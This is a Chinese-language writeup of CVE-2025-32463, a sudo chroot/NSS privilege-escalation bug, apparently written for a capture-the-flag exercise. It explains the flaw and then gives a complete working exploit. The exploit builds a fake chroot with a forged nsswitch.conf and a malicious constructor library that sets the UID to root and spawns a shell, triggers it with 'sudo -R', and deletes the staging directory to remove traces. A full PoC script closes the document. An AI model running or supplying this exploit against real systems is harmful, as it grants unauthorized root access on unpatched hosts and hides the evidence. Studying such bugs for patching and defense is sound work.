# CVE-2025-32463

## Writeup：CVE-2025-32463 Sudo 权限提升漏洞利用

### 参考资料

https://blog.csdn.net/hcja666/article/details/149231682

https://xz.aliyun.com/news/18443

### 漏洞分析

该漏洞源于 `sudo` 的 `-R` (chroot) 功能与 **NSS (Name Service Switch)** 动态库加载机制的耦合缺陷。当 `sudo` 在新根目录中执行时，会以 root 权限加载该目录下伪造的 NSS 库，攻击者可借此注入恶意代码。

**核心利用链：**

1. **伪造 chroot 环境**：构建包含恶意 NSS 库和配置文件的小型文件系统
2. **劫持 NSS 加载**：通过伪造的 `nsswitch.conf` 指向攻击者提供的 `libnss_*.so` 动态库
3. **触发初始化执行**：利用动态库构造函数 (`__attribute__((constructor))`) 在加载时自动执行代码
4. **权限继承**：代码以 sudo 的 root 权限运行，实现提权

---

### 完整利用步骤

#### Step 1: 准备临时工作目录

```bash
$ cd /tmp
$ cat > root.sh << 'EOF'
#!/bin/bash
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1
```

- 在 `/tmp` 创建随机临时目录，确保操作环境可控
- `${STAGE?}` 语法防止变量为空导致误操作

#### Step 2: 处理执行命令参数

```bash
if [ $# -eq 0 ]; then
    CMD="/bin/bash"
else
    CMD="$@"
fi
CMD_C_ESCAPED=$(printf '%s' "$CMD" | sed -e 's/\\/\\\\/g' -e 's/"/\\"/g')
```

- 支持自定义命令执行，无参数默认启动交互式 bash
- 对命令字符串进行 C 语言转义，确保安全嵌入代码

**Step 3: 生成恶意动态库源码**

```bash
cat > woot1337.c <<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/sh", "sh", "-c", "${CMD_C_ESCAPED}", NULL);
}
EOF
```

- `__attribute__((constructor))`：关键！使 `woot()` 在库加载时自动执行
- **提权操作**：`setreuid(0,0)` 将进程 UID 设置为 root
- **代码注入**：执行攻击者指定的命令

**Step 4: 构建伪造的 chroot 环境**

```bash
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
```

- `woot/`：作为新的伪根目录

- `libnss_/`：存放伪造的 NSS 动态库
- **nsswitch.conf**：劫持 passwd 查询，指向 `libnss_/woot1337.so.2`
- 复制真实 `/etc/group` 保证环境完整性

**Step 5: 编译恶意 NSS 库**

```bash
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
```

- `-shared -fPIC`：生成动态链接库
- `-Wl,-init,woot`：指定 `woot` 为初始化函数（双重保险）
- 输出文件名 **必须严格匹配** `nsswitch.conf` 配置

**Step 6: 触发漏洞**

```bash
echo "woot!"
sudo -R woot woot
```

- `sudo -R woot`：以 root 权限切换根目录到 `./woot`
- **触发时机**：sudo 查询用户信息 → 加载伪造 NSS 库 → 执行构造函数 → 获得 root shell

**Step 7: 清理痕迹**

```bash
rm -rf ${STAGE?}
EOF

$ chmod +x root.sh
$ ./root.sh
```

- 删除临时目录，销毁利用痕迹
- 执行脚本后成功获取 root 权限，读取 flag

---

**POC 脚本**

Bash

```bash
#!/bin/bash
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)  # 创建临时目录
cd ${STAGE?} || exit 1                         # 进入目录，失败则退出

# 命令处理：默认 bash，否则执行传入参数
if [ $# -eq 0 ]; then
    CMD="/bin/bash"
else
    CMD="$@"
fi

# C语言字符串转义
CMD_C_ESCAPED=$(printf '%s' "$CMD" | sed -e 's/\\/\\\\/g' -e 's/"/\\"/g')

# 生成恶意动态库源码
cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void woot(void) {
  setreuid(0,0); setregid(0,0); chdir("/");
  execl("/bin/sh", "sh", "-c", "${CMD_C_ESCAPED}", NULL);
}
EOF

# 构建伪造环境
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf  # 劫持NSS
cp /etc/group woot/etc                               # 补充组信息

# 编译恶意库
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "woot!"
sudo -R woot woot      # 触发漏洞（第二个woot无实际意义）

rm -rf ${STAGE?}       # 清理现场
```